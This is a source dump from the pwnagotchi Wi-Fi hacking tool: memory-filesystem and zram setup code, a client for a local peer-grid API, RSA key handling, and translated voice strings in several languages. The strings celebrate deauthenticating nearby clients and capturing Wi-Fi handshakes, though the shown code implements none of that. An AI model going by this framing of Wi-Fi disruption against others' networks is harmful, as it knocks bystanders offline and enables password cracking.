logging.debug(f"Error while mounting {m.mountpoint}") continue if not m.sync(to_ram=True): logging.debug(f"Error while syncing to {m.mountpoint}") m.umount() continue interval = int(options['sync']) if interval: logging.debug("[FS] Starting thread to sync %s (interval: %d)", options['mount'], interval) _thread.start_new_thread(m.daemonize, (interval,)) else: logging.debug("[FS] Not syncing %s, because interval is 0", options['mount']) mounts.append(m) class MemoryFS: @staticmethod def zram_install(): if not os.path.exists("/sys/class/zram-control"): logging.debug("[FS] Installing zram") return os.system("modprobe zram") == 0 return True @staticmethod def zram_dev(): logging.debug("[FS] Adding zram device") return open("/sys/class/zram-control/hot_add", "rt").read().strip("\n") def __init__(self, mount, disk, size="40M", zram=True, zram_alg="lz4", zram_disk_size="100M", zram_fs_type="ext4", rsync=True): self.mountpoint = mount self.disk = disk self.size = size self.zram = zram self.zram_alg = zram_alg self.zram_disk_size = zram_disk_size self.zram_fs_type = zram_fs_type self.zdev = None self.rsync = True self._setup() def _setup(self): if self.zram and MemoryFS.zram_install(): # setup zram self.zdev = MemoryFS.zram_dev() open(f"/sys/block/zram{self.zdev}/comp_algorithm", "wt").write(self.zram_alg) open(f"/sys/block/zram{self.zdev}/disksize", "wt").write(self.zram_disk_size) open(f"/sys/block/zram{self.zdev}/mem_limit", "wt").write(self.size) logging.debug("[FS] Creating fs (type: %s)", self.zram_fs_type) os.system(f"mke2fs -t {self.zram_fs_type} /dev/zram{self.zdev} >/dev/null 2>&1") # ensure mountpoints exist if not os.path.exists(self.disk): logging.debug("[FS] Creating %s", self.disk) os.makedirs(self.disk) if not os.path.exists(self.mountpoint): logging.debug("[FS] Creating %s", self.mountpoint) os.makedirs(self.mountpoint) def daemonize(self, interval=60): logging.debug("[FS] Daemonized...") while True: self.sync() sleep(interval) def sync(self, to_ram=False): source, dest = (self.disk, self.mountpoint) if to_ram else (self.mountpoint, self.disk) needed, actually_free = size_of(source), shutil.disk_usage(dest)[2] if actually_free >= needed: logging.debug("[FS] Syncing %s -> %s", source,dest) if self.rsync: os.system(f"rsync -aXv --inplace --no-whole-file --delete-after {source}/ {dest}/ >/dev/null 2>&1") else: copy_tree(source, dest, preserve_symlinks=True) os.system("sync") return True return False def mount(self): if os.system(f"mount --bind {self.mountpoint} {self.disk}"): return False if os.system(f"mount --make-private {self.disk}"): return False if self.zram and self.zdev is not None: if os.system(f"mount -t {self.zram_fs_type} -o nosuid,noexec,nodev,user=pwnagotchi /dev/zram{self.zdev} {self.mountpoint}/"): return False else: if os.system(f"mount -t tmpfs -o nosuid,noexec,nodev,mode=0755,size={self.size} pwnagotchi {self.mountpoint}/"): return False return True def umount(self): if os.system(f"umount -l {self.mountpoint}"): return False if os.system(f"umount -l {self.disk}"): return False return True ================================================ FILE: pwnagotchi/grid.py ================================================ import subprocess import socket import requests import json import logging import pwnagotchi # pwngrid-peer is running on port 8666 API_ADDRESS = "http://127.0.0.1:8666/api/v1" def is_connected(): try: # check DNS host = socket.gethostbyname('api.pwnagotchi.ai') if host: # check connectivity itself socket.create_connection((host, 443), timeout=30) return True except: pass return False def call(path, obj=None): url = '%s%s' % (API_ADDRESS, path) if obj is None: r = requests.get(url, headers=None, timeout=(30.0, 60.0)) elif isinstance(obj, dict): r = requests.post(url, headers=None, json=obj, timeout=(30.0, 60.0)) else: r = requests.post(url, headers=None, data=obj, timeout=(30.0, 60.0)) if r.status_code != 200: raise Exception("(status %d) %s" % (r.status_code, r.text)) return r.json() def advertise(enabled=True): return call("/mesh/%s" % 'true' if enabled else 'false') def set_advertisement_data(data): return call("/mesh/data", obj=data) def get_advertisement_data(): return call("/mesh/data") def memory(): return call("/mesh/memory") def peers(): return call("/mesh/peers") def closest_peer(): all = peers() return all[0] if len(all) else None def update_data(last_session): brain = {} try: with open('/root/brain.json') as fp: brain = json.load(fp) except: pass data = { 'session': { 'duration': last_session.duration, 'epochs': last_session.epochs, 'train_epochs': last_session.train_epochs, 'avg_reward': last_session.avg_reward, 'min_reward': last_session.min_reward, 'max_reward': last_session.max_reward, 'deauthed': last_session.deauthed, 'associated': last_session.associated, 'handshakes': last_session.handshakes, 'peers': last_session.peers, }, 'uname': subprocess.getoutput("uname -a"), 'brain': brain, 'version': pwnagotchi.__version__ } logging.debug("updating grid data: %s" % data) call("/data", data) def report_ap(essid, bssid): try: call("/report/ap", { 'essid': essid, 'bssid': bssid, }) return True except Exception as e: logging.exception("error while reporting ap %s(%s)" % (essid, bssid)) return False def inbox(page=1, with_pager=False): obj = call("/inbox?p=%d" % page) return obj["messages"] if not with_pager else obj def inbox_message(id): return call("/inbox/%d" % int(id)) def mark_message(id, mark): return call("/inbox/%d/%s" % (int(id), str(mark))) def send_message(to, message): return call("/unit/%s/inbox" % to, message.encode('utf-8')) ================================================ FILE: pwnagotchi/identity.py ================================================ from Crypto.Signature import PKCS1_PSS from Crypto.PublicKey import RSA import Crypto.Hash.SHA256 as SHA256 import base64 import hashlib import os import logging DefaultPath = "/etc/pwnagotchi/" class KeyPair(object): def __init__(self, path=DefaultPath, view=None): self.path = path self.priv_path = os.path.join(path, "id_rsa") self.priv_key = None self.pub_path = "%s.pub" % self.priv_path self.pub_key = None self.fingerprint_path = os.path.join(path, "fingerprint") self._view = view if not os.path.exists(self.path): os.makedirs(self.path) while True: # first time, generate new keys if not os.path.exists(self.priv_path) or not os.path.exists(self.pub_path): self._view.on_keys_generation() logging.info("generating %s ..." % self.priv_path) os.system("pwngrid -generate -keys '%s'" % self.path) # load keys: they might be corrupted if the unit has been turned off during the generation, in this case # the exception will remove the files and go back at the beginning of this loop. try: with open(self.priv_path) as fp: self.priv_key = RSA.importKey(fp.read()) with open(self.pub_path) as fp: self.pub_key = RSA.importKey(fp.read()) self.pub_key_pem = self.pub_key.exportKey('PEM').decode("ascii") # python is special if 'RSA PUBLIC KEY' not in self.pub_key_pem: self.pub_key_pem = self.pub_key_pem.replace('PUBLIC KEY', 'RSA PUBLIC KEY') pem_ascii = self.pub_key_pem.encode("ascii") self.pub_key_pem_b64 = base64.b64encode(pem_ascii).decode("ascii") self.fingerprint = hashlib.sha256(pem_ascii).hexdigest() with open(self.fingerprint_path, 'w+t') as fp: fp.write(self.fingerprint) # no exception, keys loaded correctly. self._view.on_starting() return except Exception as e: # if we're here, loading the keys broke something ... logging.exception("error loading keys, maybe corrupted, deleting and regenerating ...") try: os.remove(self.priv_path) os.remove(self.pub_path) except: pass def sign(self, message): hasher = SHA256.new(message.encode("ascii")) signer = PKCS1_PSS.new(self.priv_key, saltLen=16) signature = signer.sign(hasher) signature_b64 = base64.b64encode(signature).decode("ascii") return signature, signature_b64 ================================================ FILE: pwnagotchi/locale/af/LC_MESSAGES/voice.po ================================================ # Afrikaans translation of pwnagotchi. # Copyright (C) 2020. # This file is distributed under the same license as the pwnagotchi package. # FIRST AUTHOR MatthewNunu https://github.com/MatthewNunu, 2020. # msgid "" msgstr "" "Project-Id-Version: 1.5.3\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-11-29 21:50+0100\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: MatthewNunu https://github.com/MatthewNunu\n" "Language-Team: \n" "Language: Afrikaans\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "ZzzzZZzzzzZzzz" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Hi, ek is Pwnagotchi! Aanvang ..." msgid "New day, new hunt, new pwns!" msgstr "Nuwe dag, nuwe jag, nuwe pwns!" msgid "Hack the Planet!" msgstr "Hack die wêreld!" msgid "AI ready." msgstr "AI gereed." msgid "The neural network is ready." msgstr "Die neurale netwerk is gereed." msgid "Generating keys, do not turn off ..." msgstr "Genereer wagwoord, moenie afskakel nie ..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Haai, kanaal {channel} is gratis! Jou AP sal dankie sê." msgid "Reading last session logs ..." msgstr "Lees laaste sessie logs ..." #, python-brace-format msgid "Read {lines_so_far} log lines so far ..." msgstr "Ek het {lines_so_far} tot dusver gelees ..." msgid "I'm bored ..." msgstr "Ek's verveeld ..." msgid "Let's go for a walk!" msgstr "Kom ons gaan vir 'n loopie!" msgid "This is the best day of my life!" msgstr "Dit is die beste dag van my lewe!" msgid "Shitty day :/" msgstr "Poes kak dag :/" msgid "I'm extremely bored ..." msgstr "Ek's baie verveeld ..." msgid "I'm very sad ..." msgstr "Ek's baie hartseer ..." msgid "I'm sad" msgstr "Ek's hartseer ..." msgid "Leave me alone ..." msgstr "Los my uit ..." msgid "I'm mad at you!" msgstr "Ek is kwaad vir jou!" msgid "I'm living the life!" msgstr "Ek leef die lewe!" msgid "I pwn therefore I am." msgstr "Ek pwn daarom is ek." msgid "So many networks!!!" msgstr "Soveel netwerke!!!" msgid "I'm having so much fun!" msgstr "Ek het soveel pret!" msgid "My crime is that of curiosity ..." msgstr "My misdaad is dié van nuuskierigheid ..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Hallo {name}! Lekker om jou te ontmoet." #, python-brace-format msgid "Yo {name}! Sup?" msgstr "Yo {name}! Sup?" #, python-brace-format msgid "Hey {name} how are you doing?" msgstr "Haai {name} hoe doen jy?" #, python-brace-format msgid "Unit {name} is nearby!" msgstr "Eenheid {name}} is naby!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm ... totsiens {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} is weg ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Whoops ... {name} is weg." #, python-brace-format msgid "{name} missed!" msgstr "{name} gemis!" msgid "Missed!" msgstr "Gemis!" msgid "Good friends are a blessing!" msgstr "Goeie vriende is 'n seën!" msgid "I love my friends!" msgstr "Ek is lief vir my vriende!" msgid "Nobody wants to play with me ..." msgstr "Niemand wil met my speel nie ..." msgid "I feel so alone ..." msgstr "Ek voel so alleen ..." msgid "Where's everybody?!" msgstr "Waar is almal?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Slaap vir {secs}s ..." msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz ({secs}s)" msgid "Good night." msgstr "Goeie nag." msgid "Zzz" msgstr "Zzz" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Wag tans vir {secs}s ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Rondkyk ({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Haai {what} kom ons wees vriende!" #, python-brace-format msgid "Associating to {what}" msgstr "Assosieer na {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Yo {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Net besluit dat {mac} geen WiFi nodig het nie!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Deauthenticating {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Kickbanning {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Koel, ons het {num} nuwe handdruk gekry!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "Jy het {count} nuwe boodskap!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Oops, iets het verkeerd gegaan ... Herlaai ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Geskop {num} stasies\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Gemaak {num} nuwe vriende\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Het {num} handdrukke\n" msgid "Met 1 peer" msgstr "Ontmoet 1 eweknie" #, python-brace-format msgid "Met {num} peers" msgstr "Ontmoet {num} eweknie" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "Ek was pwning vir {duration} en het {deauthed} kliënte geskop! Ek het ook ontmoet " "{associated} nuwe vriende en het {handshakes} handdrukke geëet! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "uur" msgid "minutes" msgstr "minute" msgid "seconds" msgstr "sekondes" msgid "hour" msgstr "uur" msgid "minute" msgstr "minuut" msgid "second" msgstr "tweede" ================================================ FILE: pwnagotchi/locale/bg/LC_MESSAGES/voice.po ================================================ # pwnagotchi voice data. # Copyright (C) 2019 # This file is distributed under the same license as the pwnagotchi package. # FIRST AUTHOR , 2019. # #, msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-10-23 20:56+0200\n" "PO-Revision-Date: 2019-10-23 20:56+0200\n" "Last-Translator: Georgi Koemdzhiev \n" "Language-Team: \n" "Language: bulgarian\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Здравей, аз съм Pwnagotchi! Стартиране ..." msgid "New day, new hunt, new pwns!" msgstr "Нов ден, нов лов, нови pwns!" msgid "Hack the Planet!" msgstr "Хакни планетата!" msgid "AI ready." msgstr "AI готов." msgid "The neural network is ready." msgstr "Невронната мрежа е готова." msgid "Generating keys, do not turn off ..." msgstr "Генериране на ключове, не изключвай ..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Здравей, канал {channel} е свободен! твоя AP ще каже благодаря." msgid "I'm bored ..." msgstr "Скучно ми е ..." msgid "Let's go for a walk!" msgstr "Хайда да се поразходим!" msgid "This is the best day of my life!" msgstr "Това е най-добрият ден в живота ми!" msgid "Shitty day :/" msgstr "Тъп ден :/" msgid "I'm extremely bored ..." msgstr "Супер много ми е скучно ..." msgid "I'm very sad ..." msgstr "Много съм тъжен ..." msgid "I'm sad" msgstr "Тъжен съм" msgid "I'm living the life!" msgstr "Живота ми е фантастичен!" msgid "I pwn therefore I am." msgstr "Аз живея за да pwn-вам." msgid "So many networks!!!" msgstr "Толкова много мрежи!!!" msgid "I'm having so much fun!" msgstr "Толкова много се забавлявам!" msgid "My crime is that of curiosity ..." msgstr "Моето престъпление е това че съм любопитен ..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Здравей {name}! Приятно ми е да се запознаем." #, python-brace-format msgid "Unit {name} is nearby!" msgstr "Устройство {name} е наблизо!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Ами ... довиждане {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} изчезна ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Упс ... {name} изчезна." #, python-brace-format msgid "{name} missed!" msgstr "{name} загубен!" msgid "Missed!" msgstr "Загубен!" msgid "Good friends are a blessing!" msgstr "Добрите приятели са благословия!" msgid "I love my friends!" msgstr "Обичам приятелите си!" msgid "Nobody wants to play with me ..." msgstr "Никой не иска да си играе с мен ..." msgid "I feel so alone ..." msgstr "Чувствам се толкова самотен ..." msgid "Where's everybody?!" msgstr "Къде са всички?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Заспивам за {secs} секунди ..." msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz ({secs}s)" msgid "Good night." msgstr "Лека нощ." msgid "Zzz" msgstr "Zzz" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Чакам {secs} секунди ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Оглеждам се ({secs}секунди)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Хей {what} нека станем приятели!" #, python-brace-format msgid "Associating to {what}" msgstr "Свръзване с {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Ей {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Реших, че {mac} не се нуждае от WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Неудостоверяване на {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Ритам и прогонвам {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Супер, имаме {num} нови handshake{plural}!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "Имате {count} нови съобщения!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Упс, нещо се обърка ... Рестартиране ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Отхвърлих {num} станции\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Направих {num} нови приятели\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Имам {num} handshakes\n" msgid "Met 1 peer" msgstr "Срещнах 1 връстник" #, python-brace-format msgid "Met {num} peers" msgstr "Срещнах {num} връстници" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "Аз pwn-вах за {duration} и отхвърлих {deauthed} clients! Също така срещнах {associated} нови приятели и изядох {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "часове" msgid "minutes" msgstr "минути" msgid "seconds" msgstr "секунди" msgid "hour" msgstr "час" msgid "minute" msgstr "минута" msgid "second" msgstr "секунда" ================================================ FILE: pwnagotchi/locale/ch/LC_MESSAGES/voice.po ================================================ # SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR <511225068@qq.com>, 2019. # 还有很多未翻译和翻译不准确,后期希望大家加入进来一起翻译! # 翻译可以联系QQ群:959559103 找 名字叫 初九 的 管理员 msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-10-23 20:56+0200\n" "PO-Revision-Date: 2019-11-02 10:00+0008\n" "Last-Translator: 极客之眼-初九 <511225068@qq.com>\n" "Language-Team: LANGUAGE \n" "Language: chinese\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "主人,你好.我是WiFi狩猎兽..." msgid "New day, new hunt, new pwns!" msgstr "美好的一天,狩猎开始!" msgid "Hack the Planet!" msgstr "我要入侵整个地球!" msgid "AI ready." msgstr "人工智能已启动." msgid "The neural network is ready." msgstr "神经元网络已启动." msgid "Generating keys, do not turn off ..." msgstr "创建密钥中, 请勿断电..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "嘿,频道{channel}是免费的!你的AP会说谢谢。" msgid "I'm bored ..." msgstr "我无聊了..." msgid "Let's go for a walk!" msgstr "主人带我出门走走吧!" msgid "This is the best day of my life!" msgstr "这是我生命中最美好的一天!" msgid "Shitty day :/" msgstr "今天不开心 :/" msgid "I'm extremely bored ..." msgstr "主人,找点事做吧 ..." msgid "I'm very sad ..." msgstr "我很伤心..." msgid "I'm sad" msgstr "我伤心了" msgid "I'm living the life!" msgstr "" msgid "I pwn therefore I am." msgstr "" msgid "So many networks!!!" msgstr "哇,好多猎物!!!" msgid "I'm having so much fun!" msgstr "我玩的好开心!" msgid "My crime is that of curiosity ..." msgstr "我最大的缺点就是好奇..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "你好{name}!很高兴认识你." #, python-brace-format msgid "Unit {name} is nearby!" msgstr "小队{name}就在附近!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "额 ... 再见{name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} 它走了 ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "哎呀... {name} 离开了." #, python-brace-format msgid "{name} missed!" msgstr "刚刚错过了{name}!" msgid "Missed!" msgstr "刚刚错过了一个对的它" msgid "Good friends are a blessing!" msgstr "有个好朋友就是福气" msgid "I love my friends!" msgstr "我爱我的朋友!" msgid "Nobody wants to play with me ..." msgstr "没有人愿意和我玩耍..." msgid "I feel so alone ..." msgstr "我可能是天煞孤星..." msgid "Where's everybody?!" msgstr "朋友们都去哪里了?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "小憩{secs}s ..." msgid "Zzzzz" msgstr "" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "" msgid "Good night." msgstr "晚安宝贝." msgid "Zzz" msgstr "" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "等待{secs}s ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "追踪四周猎物({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "嗨{what}我们做朋友吧!" #, python-brace-format msgid "Associating to {what}" msgstr "正在连接到{what}" #, python-brace-format msgid "Yo {what}!" msgstr "追踪到你了{what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "猎物{mac}不需要联网,我们给它断开!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "开始攻击猎物{mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "已捕获{mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "太酷了, 我们抓到了{num}新的猎物{plural}!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "主人,有{count}新消息{plural}!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "行动,额等等有点小问题... 重启ing ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "限制了{num}个猎物\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "交了{num}新朋友\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "捕获了{num}握手包\n" msgid "Met 1 peer" msgstr "有{num}同龄人" #, python-brace-format msgid "Met {num} peers" msgstr "" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" msgid "hours" msgstr "时" msgid "minutes" msgstr "分" msgid "seconds" msgstr "秒" msgid "hour" msgstr "时" msgid "minute" msgstr "分" msgid "second" msgstr "秒" ================================================ FILE: pwnagotchi/locale/cs/LC_MESSAGES/voice.po ================================================ # pwnigotchi voice data # Copyright (C) 2020 # This file is distributed under the same license as the pwnagotchi package. # FIRST AUTHOR czechball@users.noreply.github.com, 2020. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2020-04-14 06:15+0100\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: Czechball \n" "Language-Team: pwnagotchi <33197631+dadav@users.noreply.github.com>\n" "Language: cs\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "ZzzzZZzzzzZzzz" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Ahoj, já jsem Pwnagotchi! Startuju ..." msgid "New day, new hunt, new pwns!" msgstr "Nový den, nový lov, nové úlovky!" msgid "Hack the Planet!" msgstr "Hackni celou planetu!" msgid "AI ready." msgstr "AI připraveno." msgid "The neural network is ready." msgstr "Neuronová síť je připravena." msgid "Generating keys, do not turn off ..." msgstr "Generování klíčů, nevypínej mě..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Hej, kanál {channel} je volný! Tvůj AP ti poděkuje." msgid "Reading last session logs ..." msgstr "Čtení posledních zpráv z logu ..." #, python-brace-format msgid "Read {lines_so_far} log lines so far ..." msgstr "Zatím přečteno {lines_so_far} řádků logu ..." msgid "I'm bored ..." msgstr "Nudím se ..." msgid "Let's go for a walk!" msgstr "Pojďme se projít!" msgid "This is the best day of my life!" msgstr "Tohle je nejlepší den mého života!" msgid "Shitty day :/" msgstr "Na hovno den :/" msgid "I'm extremely bored ..." msgstr "Strašně se nudím ..." msgid "I'm very sad ..." msgstr "Jsem dost smutný ..." msgid "I'm sad" msgstr "Jsem smutný" msgid "Leave me alone ..." msgstr "Nech mě být ..." msgid "I'm mad at you!" msgstr "Jsem na tebe naštvaný!" msgid "I'm living the life!" msgstr "Tohle je život!" msgid "I pwn therefore I am." msgstr "Chytám pakety a tedy jsem." msgid "So many networks!!!" msgstr "Tolik sítí!!!" msgid "I'm having so much fun!" msgstr "Tohle je super zábava!" msgid "My crime is that of curiosity ..." msgstr "Jsem kriminálně zvědavý ..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Ahoj {name}! Rád tě poznávám." #, python-brace-format msgid "Yo {name}! Sup?" msgstr "Hej {name}! Jak to jde?" #, python-brace-format msgid "Hey {name} how are you doing?" msgstr "Ahoj {name}, jak se máš?" #, python-brace-format msgid "Unit {name} is nearby!" msgstr "Jednotka {name} je nablízku!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm... Měj se {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} je pryč ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Whoops ... {name} je pryč." #, python-brace-format msgid "{name} missed!" msgstr "Chybí mi {name}!" msgid "Missed!" msgstr "Chybíš mi!" msgid "Good friends are a blessing!" msgstr "Dobří kamarádi jsou požehnání!" msgid "I love my friends!" msgstr "Miluju svoje kamarády!" msgid "Nobody wants to play with me ..." msgstr "Nikdo si se mnou nechce hrát ..." msgid "I feel so alone ..." msgstr "Cítím se tak osamělý ..." msgid "Where's everybody?!" msgstr "Kde jsou všichni?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Spím {secs} sekund ..." msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz ({secs}s)" msgid "Good night." msgstr "Dobrou noc." msgid "Zzz" msgstr "Zzz" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Čekání {secs} sekund ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Rozhlížím se ({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Hej {what} budeme kamarádi!" #, python-brace-format msgid "Associating to {what}" msgstr "Asociuju se s {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Čus {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Rozhodl jsem se, že {mac} nepotřebuje žádnou WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Deautentikuju {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Kickbanuju {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Super, máme {num} nových handshaků!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "Máš {count} nových zpráv!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Ups, něco se pokazilo ... Restartuju ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Vykopnuto {num} klientů\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Mám {num} nových kamarádů\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Mám {num} handshaků\n" msgid "Met 1 peer" msgstr "Potkal jsem jednoho kámoše" #, python-brace-format msgid "Met {num} peers" msgstr "Potkal jsem {num} kámošů" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "Chytal jsem pakety po dobu {duration} a vykopnul jsem {deauthed} klientů! Taky jsem potkal " "{associated} nových kamarádů a snědl {handshakes} handshaků! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "hodiny" msgid "minutes" msgstr "minuty" msgid "seconds" msgstr "sekundy" msgid "hour" msgstr "hodina" msgid "minute" msgstr "minuta" msgid "second" msgstr "sekunda" ================================================ FILE: pwnagotchi/locale/de/LC_MESSAGES/voice.po ================================================ # German language # Copyright (C) 2019 # This file is distributed under the same license as the pwnagotchi package. # dadav <33197631+dadav@users.noreply.github.com>, 2019. # msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-11-14 21:15+0100\n" "PO-Revision-Date: 2019-09-29 14:00+0200\n" "Last-Translator: dadav <33197631+dadav@users.noreply.github.com>\n" "Language-Team: DE <33197631+dadav@users.noreply.github.com>\n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Hi, ich bin ein Pwnagotchi! Starte..." msgid "New day, new hunt, new pwns!" msgstr "Neuer Tag, neue Jagd, neue Pwns!" msgid "Hack the Planet!" msgstr "Hack den Planeten!" msgid "AI ready." msgstr "KI bereit." msgid "The neural network is ready." msgstr "Das neurale Netz ist bereit." msgid "Generating keys, do not turn off ..." msgstr "Generiere Schlüssel, nicht ausschalten..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Hey, Channel {channel} ist frei! Dein AP wird es Dir danken." msgid "Reading last session logs ..." msgstr "Lese die Logs der letzten Session..." #, python-brace-format msgid "Read {lines_so_far} log lines so far ..." msgstr "Bisher {lines_so_far} Zeilen im Log gelesen..." msgid "I'm bored ..." msgstr "Mir ist langweilig..." msgid "Let's go for a walk!" msgstr "Lass uns spazieren gehen!" msgid "This is the best day of my life!" 